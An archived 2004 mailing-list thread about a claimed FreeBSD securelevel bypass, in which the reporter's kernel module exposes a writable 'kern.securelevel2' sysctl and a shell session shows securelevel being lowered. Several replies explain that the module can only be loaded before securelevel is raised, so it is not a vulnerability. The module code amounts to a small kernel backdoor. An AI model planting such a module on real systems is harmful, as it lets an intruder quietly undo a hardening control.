Unprivilegued settings for FreeBSD kernel variables

[Radko Keves]

CATEGORY:
kern

INTRODUCTION:
i have found security threat in basic security facility in BSD systems
that allows to lower sysctl variable

in this case to bypass security settings, root privilegues are needed


DESCRIPTION:
sysctl(8)
....
The sysctl utility retrieves kernel state and allows processes with
appropriate privilege to set kernel state. The state to be retrieved or
set is described using a ``Management Information Base'' (``MIB'') style
name, described as a dotted set of components.
....
kern.securelevel integer raise only
....

security(7)
....
Once you have set the securelevel to 1, write access to raw devices will
be denied and special chflags flags, such as `schg', will be enforced.
....

sysctl(3)
....
KERN_SECURELVL
The system security level. This level may be raised by processes
with appropriate privilege. It may not be lowered.
....


PROBLEM:
raise only kernel variables aren't really raise only, here is the
way how we can avoid security settings


EXAMPLE:
kernel module can gives you a new sysctl (for example kern.securelevel2):
kern.securelevel2
with which you can lower/raiser sysctl.securelevel variable
(source code attached)

$ kldstat
Id Refs Address Size Name
1 7 0xc0400000 4378e4 kernel
...
$
$ kldload ./securelevel2.ko
$ kldstat
Id Refs Address Size Name
1 8 0xc0400000 4378e4 kernel
...
8 1 0xc4e96000 2000 securelevel2.ko

$sudo sysctl kern.securelevel
kern.securelevel: -1
$sudo sysctl kern.securelevel=3
kern.securelevel: -1 -> 3
$ sudo sysctl kern.securelevel
kern.securelevel: 3
$ sudo sysctl kern.securelevel=-1
kern.securelevel: 3
sysctl: kern.securelevel: Operation not permitted
$ sudo sysctl kern.securelevel2=-1
kern.securelevel2: 3 -> -1
$ sudo sysctl kern.securelevel
kern.securelevel: -1
$ uname -a
FreeBSD mk 5.2.1-RELEASE-p5 FreeBSD 5.2.1-RELEASE-p5 #8: Wed Jun 2 11:23:59 CEST 2004 rado@mk:/xx/angel i386


CODE:
[...]
static int sysctl_securelevel2(SYSCTL_HANDLER_ARGS) {
int error;
error = sysctl_handle_long(oidp,&(securelevel), 0, req);
return (error);
}
SYSCTL_PROC(_kern, OID_AUTO, securelevel2, CTLTYPE_LONG|CTLFLAG_RW, 0, 0, sysctl_securelevel2, "I", ".");
[...]


WORKAROUND:
not known


SEE ALSO:
other "raise only" :-) sysctl variables (uptime....), write access to raw devices...


STATUE:
still better than others


AFFECTED DISTRIBUTIONS:
FreeBSD 5.x i386
FreeBSD, OpenBSD, NetBSD is most likely also affected (investigation needed)


LAST WORDS:
i think i'm paranoid, but i want some measures to be taken
FreeBSD team was informed


Best regards,
--
Radko <rado@daemon.sk>

[Dag-Erling Smørgrav]

Radko Keves <rado@unitra.sk> writes:
> i have found security threat in basic security facility in BSD systems
> that allows to lower sysctl variable

I've already told you that there is no such threat, since the attack
you describe can only be initiated by someone who already has
unrestricted access. Please stop wasting everybody's time.

DES
--=20
Dag-Erling Sm=F8rgrav - des@des.no

[Manuel Bouyer]

On Tue, Jun 15, 2004 at 08:42:23AM +0200, Radko Keves wrote:
> [...]
>
> AFFECTED DISTRIBUTIONS:
> FreeBSD 5.x i386
> FreeBSD, OpenBSD, NetBSD is most likely also affected (investigation needed)

NetBSD is not, a LKM can't be loaded if securelevel is > 0.

--
Manuel Bouyer <bouyer@antioche.eu.org>
NetBSD: 24 ans d'experience feront toujours la difference
--

[Eygene A. Ryabinkin]

On Tue, Jun 15, 2004 at 09:01:13PM +0200, Dag-Erling Sm?rgrav wrote:
> I've already told you that there is no such threat, since the attack
> you describe can only be initiated by someone who already has
> unrestricted access. Please stop wasting everybody's time.
You are wrong. Unrestricted access means _really unrestricted_ and
kernel securelevel restricts access to certain places even to root.
IMHO, it's dagerous bug, because some administrators can think "...hmm,
I've enabled the hardest securelevel and even if a hacker would break
into my host with r00t privileges he will be restricted in certain ways.
The only thing he can do is to change /etc/rc.conf (for example) and
_reboot_ my host. But I will notice the reboot." So, for certain
people the following formulae may hold:
Hardest securelevel + no reboots = good security.

But this bug changes things. One can lower securelevel, do some nasty things
and raise it again _without reboots_. So, as I've already noted, you are wrong.
The bug _gives_ you almost unrestricted access.
rea

[Jason V. Miller]

Please have a look at my post in response to the original message, as there
is some misunderstanding here.

If an attacker compromises a machine running at security level 3, then they
cannot lower the securelevel sysctl. The "technique" used in the original
post involved loading an arbitrary kernel module while the system was still
running at security level -1, which basically introduced a backdoor into
the kernel that would allow an attacker to lower it afterwards.

As DES explains, the attacker would require unrestricted access (at
security level < 1) in order to implement this "attack". It's not a
vulnerability.

J.

On Thu, Jun 17, 2004 at 06:33:49PM +0400, Eygene A. Ryabinkin wrote:
> On Tue, Jun 15, 2004 at 09:01:13PM +0200, Dag-Erling Sm?rgrav wrote:
> > I've already told you that there is no such threat, since the attack
> > you describe can only be initiated by someone who already has
> > unrestricted access. Please stop wasting everybody's time.
> You are wrong. Unrestricted access means _really unrestricted_ and
> kernel securelevel restricts access to certain places even to root.
> IMHO, it's dagerous bug, because some administrators can think "...hmm,
> I've enabled the hardest securelevel and even if a hacker would break
> into my host with r00t privileges he will be restricted in certain ways.
> The only thing he can do is to change /etc/rc.conf (for example) and
> _reboot_ my host. But I will notice the reboot." So, for certain
> people the following formulae may hold:
> Hardest securelevel + no reboots = good security.
>
> But this bug changes things. One can lower securelevel, do some nasty things
> and raise it again _without reboots_. So, as I've already noted, you are wrong.
> The bug _gives_ you almost unrestricted access.
> rea

--
Jason V. Miller, Threat Analyst
Symantec, Inc. - www.symantec.com
E-Mail: jmiller@securityfocus.com

[Christian Ullrich]

* Eygene A. Ryabinkin wrote on Thursday, 2004-06-17:

> On Tue, Jun 15, 2004 at 09:01:13PM +0200, Dag-Erling Sm=C3=B8rgrav wrot=
e:

> > I've already told you that there is no such threat, since the attack
> > you describe can only be initiated by someone who already has
> > unrestricted access. Please stop wasting everybody's time.

> You are wrong. Unrestricted access means _really unrestricted_ and
> kernel securelevel restricts access to certain places even to root.

Quite correct.

> IMHO, it's dagerous bug, because some administrators can think "...hmm,
> I've enabled the hardest securelevel and even if a hacker would break
> into my host with r00t privileges he will be restricted in certain ways=
..

Correct as well.

> But this bug changes things. One can lower securelevel, do some nasty=20
> things and raise it again _without reboots_. So, as I've already=20
> noted, you are wrong.

No. You CAN'T load or unload kernel modules if securelevel is > 0.

To make your attack work, the attacker would have to have access to
the system before it ever went to securelevel 1, 2 or 3, in order to
load the very kernel module your attack requires. Since that almost
certainly means that he had to be in the same room with the system,
I think "can only be initiated by someone who already has unrestricted
access" is completely correct.

--=20
Christian Ullrich

"There's nothing we can't face -- except for Bun-bun..."

[Valdis.Kletnieks@vt.edu]

--==_Exmh_1855029643P
Content-Type: text/plain; charset=us-ascii

On Thu, 17 Jun 2004 13:28:59 +0200, Manuel Bouyer said:
> On Tue, Jun 15, 2004 at 08:42:23AM +0200, Radko Keves wrote:
> > [...]
> >
> > AFFECTED DISTRIBUTIONS:
> > FreeBSD 5.x i386
> > FreeBSD, OpenBSD, NetBSD is most likely also affected (investigation needed)
>
> NetBSD is not, a LKM can't be loaded if securelevel is > 0.

Note *very* carefully the fact that the statement "you can't load a LKM" is not
totally identical to "you can't cause an LKM to be in the kernel".

Hunt down the Phrack article on loading an LKM into a Linux kernel *that
doesn't even have module support*, and ask yourself if you're quite as sure
that there is *zero* vulnerability there....


--==_Exmh_1855029643P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFA015DcC3lWbTT17ARAubyAKD1fTG4DYYgh9hMdjpn4W wmPgPX8wCfXyMZ
jPTutJazqXAAsyXGu8GleLc=
=p/5Z
-----END PGP SIGNATURE-----

--==_Exmh_1855029643P--

[Ivaylo Kostadinov]

Dag-Erling Smørgrav wrote:
> I've already told you that there is no such threat, since the attack
> you describe can only be initiated by someone who already has
> unrestricted access. Please stop wasting everybody's time.


If the vulnerability described exists then there is such a threat.

The sole purpose of the FreeBSD secure levels is to prevent even someone
with unrestricted access from performing certain operations unless
working on the console and the system is in "maintenance" mode.

Imagine a bootable-CD-only FreeBSD system acting as router/firewall in
securelevel 3. Even if somehow a hacker gets remote access to the system
she/he will not be able to change the firewall setup.
If however the hacker is able to reduce the secure level the she/he can
reconfigure the firewall and thus disrupt the only function the system
is meant to perform.


This said if we look at the described "... security threat in basic
security facility..." :

>
> EXAMPLE:
> kernel module can gives you a new sysctl (for example kern.securelevel2):
> kern.securelevel2
> with which you can lower/raiser sysctl.securelevel variable
> (source code attached)
>
> $ kldstat
> Id Refs Address Size Name
> 1 7 0xc0400000 4378e4 kernel
> ...
> $
> $ kldload ./securelevel2.ko
> $ kldstat
> Id Refs Address Size Name
> 1 8 0xc0400000 4378e4 kernel
> ...
> 8 1 0xc4e96000 2000 securelevel2.ko


Why would you want to load the above-mentioned module? I mean except for
the purpose of exposing the securelevel2 variable.

This command only:

> sudo sysctl kern.securelevel=3

will safely put the system in the corresponding securelevel


> SYSCTL_PROC(_kern, OID_AUTO, securelevel2, CTLTYPE_LONG|CTLFLAG_RW,
0, 0, sysctl_securelevel2, "I", ".");
> [...]
>

I have not checked where this code is from but it seems to me that the
CTLFLAG_SECURE or similar flags are missing there.
Does this not indicate that the sysctl variable is intended to be
modifiable at any securelevel?


In conclusion, the described scenario would reduce the securelevel but
it will have to be engineered and greatly helped by the rightful admin
of the system.
And I must say I have definitely seen easier ways to Trojan-horse your
own host.


Best wishes,

ivaylo kostadinov

[Henning Brauer]

* Manuel Bouyer <bouyer@antioche.eu.org> [2004-06-18 12:46]:
> On Tue, Jun 15, 2004 at 08:42:23AM +0200, Radko Keves wrote:
> > [...]
> >
> > AFFECTED DISTRIBUTIONS:
> > FreeBSD 5.x i386
> > FreeBSD, OpenBSD, NetBSD is most likely also affected (investigation needed)
>
> NetBSD is not, a LKM can't be loaded if securelevel is > 0.

Same applies for OpenBSD.

--
Henning Brauer, BS Web Services, http://bsws.de
hb@bsws.de - henning@openbsd.org
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)

[Jason V. Miller]

This is not a vulnerability. Perhaps you should discuss "problems" like this
a little more before you post your findings to 5 different security mailing
lists, as it appears that you've done nothing more than confuse people
about an issue that really doesn't exist.

Comments inline.

On Tue, Jun 15, 2004 at 08:42:23AM +0200, Radko Keves wrote:
> CATEGORY:
> kern
>
> INTRODUCTION:
> i have found security threat in basic security facility in BSD systems
> that allows to lower sysctl variable
>
> in this case to bypass security settings, root privilegues are needed

[snip]

> PROBLEM:
> raise only kernel variables aren't really raise only, here is the
> way how we can avoid security settings

You're not exploiting a bug, you're implementing a new interface into the
kernel that doesn't enforce the established policies regarding the kernel
security levels.

> EXAMPLE:
> kernel module can gives you a new sysctl (for example kern.securelevel2):
> kern.securelevel2
> with which you can lower/raiser sysctl.securelevel variable
> (source code attached)
>
> $ kldstat
> Id Refs Address Size Name
> 1 7 0xc0400000 4378e4 kernel
> ...
> $
> $ kldload ./securelevel2.ko

The point is that you're loading a kernel module that introduces a policy
error in handling the secure level sysctl. This isn't a vulnerability in
FreeBSD.

At this point, you've violated the kernel and can no longer trust secure
level 3. If the system was at secure level 3 (or > 0) in the first place, you
wouldn't have been able to load your kernel module that violates the sysctl
lower policy.

> $ kldstat
> Id Refs Address Size Name
> 1 8 0xc0400000 4378e4 kernel
> ...
> 8 1 0xc4e96000 2000 securelevel2.ko
>
> $sudo sysctl kern.securelevel
> kern.securelevel: -1
> $sudo sysctl kern.securelevel=3
> kern.securelevel: -1 -> 3
> $ sudo sysctl kern.securelevel
> kern.securelevel: 3
> $ sudo sysctl kern.securelevel=-1
> kern.securelevel: 3
> sysctl: kern.securelevel: Operation not permitted
> $ sudo sysctl kern.securelevel2=-1
> kern.securelevel2: 3 -> -1

And now, you're lowering the secure level through your own interface, which
really has nothing to do with the base FreeBSD kernel at all. There is no
way to prevent this behavior. It's not a vulnerability. I don't know of an
easier way to explain this to you.

> $ sudo sysctl kern.securelevel
> kern.securelevel: -1
> $ uname -a
> FreeBSD mk 5.2.1-RELEASE-p5 FreeBSD 5.2.1-RELEASE-p5 #8: Wed Jun 2 11:23:59 CEST 2004 rado@mk:/xx/angel i386
>
>
> CODE:
> [...]
> static int sysctl_securelevel2(SYSCTL_HANDLER_ARGS) {
> int error;
> error = sysctl_handle_long(oidp,&(securelevel), 0, req);
> return (error);
> }
> SYSCTL_PROC(_kern, OID_AUTO, securelevel2, CTLTYPE_LONG|CTLFLAG_RW, 0, 0, sysctl_securelevel2, "I", ".");
> [...]
>
>
> WORKAROUND:
> not known
>
>
> SEE ALSO:
> other "raise only" :-) sysctl variables (uptime....), write access to raw devices...
>
>
> STATUE:
> still better than others
>
>
> AFFECTED DISTRIBUTIONS:
> FreeBSD 5.x i386
> FreeBSD, OpenBSD, NetBSD is most likely also affected (investigation needed)
>
>
> LAST WORDS:
> i think i'm paranoid, but i want some measures to be taken
> FreeBSD team was informed
>
>
> Best regards,
> --
> Radko <rado@daemon.sk>

--
Jason V. Miller, Threat Analyst
Symantec, Inc. - www.symantec.com
E-Mail: jmiller@securityfocus.com

[blexim]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>> I've already told you that there is no such threat, since the attack
>> you describe can only be initiated by someone who already has
>> unrestricted access. Please stop wasting everybody's time.
> You are wrong. Unrestricted access means _really unrestricted_ and
>kernel securelevel restricts access to certain places even to root.
>IMHO, it's dagerous bug, because some administrators can think "...hmm,

>I've enabled the hardest securelevel and even if a hacker would break
>into my host with r00t privileges he will be restricted in certain ways.
>The only thing he can do is to change /etc/rc.conf (for example) and
>_reboot_ my host. But I will notice the reboot." So, for certain
>people the following formulae may hold:
> Hardest securelevel + no reboots = good security.
>
> But this bug changes things. One can lower securelevel, do some nasty
things
>and raise it again _without reboots_. So, as I've already noted, you
are wrong.
>The bug _gives_ you almost unrestricted access.

You can't load the LKM unless securelevel <= 0. Therefore, if securelevel
> 0 (the default securelevel for multi-user operation is 1) you can't
load your evil LKM & thus can't lower the securelevel. Essentially this
means that if the securelevel is 0 or lower, you can lower it even further,
but if this is the case there are no protections effected by securelevel
anyway. In other words, there is absolutely no threat presented by the
attack you describe.

blexim
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkDTKTMACgkQsE7ilXLZoGa3vwCdEM0+r9e9OM BvXs8HXIsVyIsCzDgA
n2CffOjRHyMfT3WdLCY9opAV9qdK
=uDmH
-----END PGP SIGNATURE-----




Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services.php?subloc=messenger&l=434

Promote security and make money with the Hushmail Affiliate Program:
http://www.hushmail.com/about.php?subloc=affiliate&l=427

[Wietse Venema]

Valdis.Kletnieks@vt.edu:
-- Start of PGP signed section.
> On Thu, 17 Jun 2004 13:28:59 +0200, Manuel Bouyer said:
> > On Tue, Jun 15, 2004 at 08:42:23AM +0200, Radko Keves wrote:
> > > [...]
> > >
> > > AFFECTED DISTRIBUTIONS:
> > > FreeBSD 5.x i386
> > > FreeBSD, OpenBSD, NetBSD is most likely also affected (investigation needed)
> >
> > NetBSD is not, a LKM can't be loaded if securelevel is > 0.
>
> Note *very* carefully the fact that the statement "you can't load a LKM" is not
> totally identical to "you can't cause an LKM to be in the kernel".
>
> Hunt down the Phrack article on loading an LKM into a Linux kernel *that
> doesn't even have module support*, and ask yourself if you're quite as sure
> that there is *zero* vulnerability there....

FYI, with BSD securelevel > 0, you can't poke a module into the
kernel via /dev/*mem, so this Linux loading method won't work.

Likewise, write access to mounted devices is forbidden. Without
such restrictions, securelevels would be pretty much meaningless.

For more details, please see "man securelevel" or equivalent.

Wietse